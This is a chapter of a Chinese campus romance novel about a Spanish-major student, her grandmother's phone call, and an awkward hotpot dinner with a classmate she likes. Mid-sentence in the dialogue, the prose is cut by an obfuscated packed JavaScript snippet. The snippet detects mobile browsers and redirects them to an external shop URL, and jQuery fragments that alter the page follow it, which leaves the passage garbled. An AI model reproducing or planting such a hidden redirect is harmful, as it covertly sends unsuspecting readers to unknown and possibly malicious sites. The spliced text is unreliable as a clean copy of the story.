那顿饭的后半程，姜宁然有点食不知味。
“你别信”三个字，像羽毛，轻轻搔过心尖，留下细微却持久的痒。
她夹了一块凉掉的红糖糍粑，尝出甜丝丝的味道。视线低垂，余光却不听使唤地捕捉着他：他的鼻子很挺，眼光很正，他听旁人说话时偶尔点一下头，喉结会跟着轻轻一滚。
眼看着，某个笑话正要往荤腥里滑。
她一个女生听着，知道场合不对，司峪嘉手搭在隔壁椅背，一句“吃都堵不住你？”，轻飘飘地就把那一点过界给摁灭了。
她低下头，假装专心地拨弄碗里的米饭，却清晰地听见了自己擂鼓般的心跳声。
直到散场，夜风一吹，姜宁然脸上的热意才稍稍褪去。走在回宿舍的路上，手机在口袋里震动了一下。她掏出来看，是二胖在刚才的饭局群里@所有人，发了一排火锅表情包，嚷嚷着下回吃火锅。
姜宁然心情很好，连带着看路边的电灯都特别顺眼，滑了滑聊天界面，正准备潜水，手机屏幕忽然一变。
外婆的来电显示跃了出来。
她指尖顿了顿，那点热闹的余温还挂在唇边，却已经下意识地按下了接听键：“阿嬷？”
姜宁然的外婆是闽南人，在海边的小镇守了大半辈子。老人家嗓门亮，心思却细，总能在电话接通的三秒内，听出外孙女声音里藏着的晴雨。
“宁宁，吃饭未？”
姜宁然下意识放软了声音：“刚吃完回来，和同学一起。”
原来没什么急事，外婆只是照例打电话来问问近况，关心她有没有吃饱穿暖，有没有胖了瘦了，最近生活开不开心，钱会不会够花，顺道还给她分享最近家里的大事小事。
外婆在电话那头絮絮地说着家常，说台风刚过，院子里的玉兰树断了一枝，说她今天腌了姜宁然最爱吃的糖渍杨桃，冰在冰箱最上层。晚风把老人的声音吹得有些断续，却依旧能听出话语里熨帖的温度。
姜宁然安静地听着，偶尔应两声。从小跟着外婆在海边小镇长大，读的也是镇内的中学，一年到头也见不到父母几面。若不是后来母亲再嫁，继父条件不错，执意将她转学到京城附中，姜宁然恐怕会在那个潮汐声里日复一日长大，一直读到毕业。
外婆的话像一张柔软的网，永远给予她熟悉而踏实的日常。
“……阿嬷，”等外婆说完一段，姜宁然忽然轻声开口，“我今天，听到一句很有意思的话。”
“什么话？”
“有人说，筷子拿得高，就会嫁得远。”
电话那头静了一瞬，随即响起外婆敞亮的笑声：“傻囡仔，这都是老辈人讲来哄小孩的啦！是怕你们手臂短短，夹菜时碰倒汤碗烫到手。我们宁宁啊，想嫁哪里就嫁哪里，想吃什么就夹什么——”
老人顿了顿，声音忽然放得更柔：“不过啊，要是以后真嫁远了……阿嬷就起早点，多晒几簸箕杨桃，趁日头最好的时候，糖给得足足的，腌得透透的，一罐一罐给你寄过去，好不好？”
南方的果子，需经日头耐心收走水分，再与冰糖一同在陶瓮里慢慢厮磨，褪去生涩的酸，换来一身柔韧透亮的琥珀色。那甜是绵长的，藏在舌尖的回味里，还偷偷留着一点来自枝头的、俏皮的酸。像极了外婆的爱，从不说满。
姜宁然鼻子一酸，却笑了起来：“好。”
或许是得益于大创这个项目，姜宁然真的多了很多机会可以见到司峪嘉。
因为没多久她就看到了群聊消息，有人@他，邀他组火锅局，问他来不。
司峪嘉的回复隔了几秒跳出来，在乱哄哄的表情包里，就扣了一个数字，连标点都省了。
Siiiyu-：「1」
挺拽的。
但又或许是懒的。
却足以让姜宁然心跳快了一拍。
——他也会来。
吃火锅那天，姜宁然刚考完一门西班牙语视听。她们的视听课老师是个板正的老教授，传闻年轻时在马德里留过学出过书，听力素材永远比课本难半个level，每节课还必抽人复述。为了这次考试，她已经连着几天在图书馆戴着耳机，跟新闻里舌头打卷的拉美主播较劲了。
考完出来，耳朵里还嗡嗡响着“大舌音”，她一看时间，匆匆回宿舍放了书就赶去火锅店。
她到得不算早，甚至乎有些迟。推开包厢门时，人几乎已经到齐了，就剩俩空位，热闹的声浪混着火锅翻滚的雾气扑面而来。
她没有看到司峪嘉。
不知是比她还迟，还是临时走开。
姜宁然有些紧张，因为仅剩的两个空位，是挨在一起的，她心里那根弦有点紧绷——这是不是意味着，待会儿她会跟司峪嘉坐在一块。
她正犹豫，余知岳已经抬眼看到她，扬起声音：“姜妹妹来了，快坐啊！”
姜宁然点了点头，却不知该坐哪个，目光在那两个并排的空位上逡巡，仿佛在做一道选择题。
余知岳见状，招呼道：“随便坐，另一个没人。”
没人吗？
姜宁然内心突然闪过一丝失落，她垂下眼，拉开外侧的椅子坐下了。
那点隐秘的期待，忽然就没了着落。
原来，他不会来了啊。
很快，热热闹闹的火锅局正式开始。牛油锅底翻滚出辛辣的香气，大家七手八脚地下菜、抢肉、举杯，喧哗几乎要掀翻屋顶。
姜宁然小口吃着碗里的食物，偶尔应和几句旁人的说笑，视线却总是留意着门边的响动。
——他到底还是没来。
没人特意提起他的缺席。
姜宁然干脆完全放松下来，不再去等待什么。她的吃相一向很好，细嚼慢咽，不发出一点多余的声响。
一群男生聚在一起，好像永远没有冷场的时候。
他们饭桌上话题不断，从火锅哪个食材是王炸，到昨晚的游戏战绩，又拐到某个老师上课的口头禅，最后，落在隔壁影院张贴的某张海报上。笑声和争论声混杂，像锅里沸腾的汤底，咕嘟咕嘟地冒着泡。
提起那张海报，余知岳别有深意地说，他当年就是看了西班牙神剧《纸钞屋》，觉得里面那个叫“东京”的女黑客又酷又飒，脑子一热才报了软件工程。
“要不是南大的计科实在够硬，”他灌了口啤酒，嘴角一扯，“哥们儿高低得留在北京，指不定现在就碰不上你们了。”
“又疯又带劲，简直是我理想型！”提起Tokyo，组里的技术哥也连连点头，颇有共鸣。
“得了吧你。”旁边的李叙白笑着拆台，笑他动机不纯。
技术哥听了，笑骂一句，立刻来了劲，清清嗓子，用自认为很地道的腔调蹦出一个西语词：“Jeder！”
他说完，看见本身就是西语专业的姜宁然，眼睛一亮，连忙找她来给自己背书：“姜妹妹，你是学这个的，哥这西语地道不？早年追剧学的，就记得几句……咳，骂人的。”
几个男生立马挤兑起技术哥来，笑他“不学好”、“净记些没用的”。
姜宁然没参与他们的哄笑，只是唇角很浅地弯了一下，很轻地、几乎是下意识地，用标准西语里那个柔软如绒的弹舌音，清晰地重复了一遍：
“Joder.”
/?Joder/其实相当于英语里的f**k，混蛋之类的，使用频率相当之高，通常用来表达震惊、愤怒、不满或者惋惜等情绪。
这个词突然从她唇齿间滑出来，音节短促，标准，利落，甚至因为声音轻，透出一种和她平时说话不太一样的、近乎纯真的直接，像一颗圆润的珠子，轻轻落在丝绒上。
这反差太大了。
就连刚推门进来、低头划着手机的司峪嘉，脚步都不易察觉地顿了一下。
听见门口的动静，姜宁然倏地抬头，正对上他投来的视线。
……要命。
她视线飞快躲开，对着那男生试图解释：“是Joder。你刚才……嗯，可能是听词儿时没太注意连读和弹舌。”
语速比平时快了点，还带上了人在尴尬时，就会莫名其妙冒出的儿化音。
课堂和书本里，可不会教这个。李叙白第一个朝她竖大拇指，原来乖乖优等生也不是永远端着书本，也会看剧，甚至……还会记些“不太正经”的台词。这个发现，反而让她在大家眼里变得更真实、更有趣了。
李叙白转头就对着正好到场的司峪嘉说：“嘉哥，看，咱小姜妹妹，深藏不露啊！”
司峪嘉将手机揣回兜里，偏了下头，走过来：“平时也看西语片？”
姜宁然脸色还算自然，握着筷子的手指，又收紧了一下：“……偶尔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287893|198448||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会看一些，磨磨耳朵。”
“哇。”旁边一直默默涮肉的二胖突然插话，想起一个事，“小姜，你真的蛮厉害的。上次我们争论那个术语，英文、中文各执一词，最后是你直接翻译出了源头拉丁词根，当场破案。”
他顿了顿，用筷子凌空一点，模仿着当时姜宁然有点不好意思又很认真的语气：“‘那个……如果从词源学角度看，这里可能更接近……’”
不得不说，二胖模仿得确实活灵活现，惟妙惟肖。
桌上响起一片哄笑以及“胖哥牛X啊”的感叹。讲真，姜宁然脾气好，长得很纯，这群人真的很爱闹她的。
姜宁然被模仿得脸颊发烫，又羞又窘，混乱间一句话就下意识脱口而出：“Laissez-moi mourir ici...”
“啥？姜妹妹又说啥了？”立刻有耳朵尖的男生追问，“听着不像西语啊？”
“是不是更高级的骂人话？大家都听不懂。”一群人笑着起哄，闹得更欢了。
“我……我去加点香菜！”姜宁然抓起调料碟，头也不回，毅然决然逃向了远处的小料台。
女孩身影飞快，在司峪嘉身前一晃而过。火锅飘起氤氲热气，掩去司峪嘉唇角一抹极淡的笑意。他听懂了。
——法语“Laissez-moi mourir ici...”（让我死在这里吧）
每年有多少人挤进这个专业，最后能真正吃上翻译这碗饭的，寥寥无几。
这个专业本身就不像纯文科，更不像理工科，不是靠刻苦用功、靠卷生卷死就能学得比别人好，更不是考过了什么证就成了神，就像有些人天生对音符敏感，有些人则对色彩过目不忘。有些时候，缺的是语言上那么一点天分。
也是在这一天，司峪嘉发现，姜宁然身上有那样东西。
她能抓住词句间最细微的肌理，能用近乎直觉的方式，找到不同语言背后那副共通的骨架。是一种更稀有的、更近乎本能的语感。
小料台前分门别类，琳琅满目地码着各式蘸料。
姜宁然心不在焉地往碟子里舀芝麻酱，她伸手，试图拿左上角的海鲜汁。身旁忽然落下一道熟悉的身影——带着室外微凉的空气，和一丝很淡的、清冽的气息。
是司峪嘉。
姜宁然伸出的手几不可察地顿了一下，收了回来，假装又舀了一勺子芝麻酱。她的动作放得更轻，几乎屏住呼吸，悄悄往旁边挪了半步，装作若无其事。
目光扫过台面，她需要那瓶海鲜汁。瓶子就在……他手边。
而他正好侧身，似在斟酌调料，手臂不经意地挡住了她的去路。
姜宁然指尖蜷了蜷，看着近在咫尺却无法触及的瓶身，那股熟悉的局促又涌了上来。算了。她打算放弃。
虽然火锅店内人头攒动。但出奇的是，此时此刻竟然只有他们两个人在调料。
恰好这片区域的吊顶是那种小碘钨灯，光线昏蒙暧昧，将两人的身影拉得模糊，几乎要融进墙壁的阴影里，暧昧得要命。
因为身后有桌客人在窃窃私语。
“快看那边调料台那男生……好帅啊。个子好高。”
“是一对吧？不过气质确实很顶。”
“小声点，人家听得见……”
姜宁然抿了抿唇，握着半满的调料碟抬步要走。
“你要这个？”
姜宁然脚步一滞。
司峪嘉已经转过身，手里拿着的，正是那瓶她想要的海鲜汁。他没立刻递过来，只是看着她，目光平静，没什么特别的情绪，却让姜宁然耳根又开始不争气。
那桌客人靠她这边，司峪嘉好像完全没有听到身后那些关于他们的议论。
她躲开他的视线，“没、没有。”她听见自己小声否认，声音干巴巴的，毫无说服力。“我后来又觉得不用了，你调吧，我先回去了。”姜宁然急忙回道。
刚才口不择言，在他面前说了脏话，很社死，她现在很尴尬，没法再跟司峪嘉单独待下去了。
司峪嘉看着她明显慌乱的样子，略微偏了下头。
一瓶海鲜汁而已，方才他分明看见她几欲伸手去拿，恰巧被他过来挡住了。也就递个调料的事，这前后反差令他有些不解。司峪嘉将瓶子又朝她递近了些，不免好奇：“姜宁然，你很怕我？”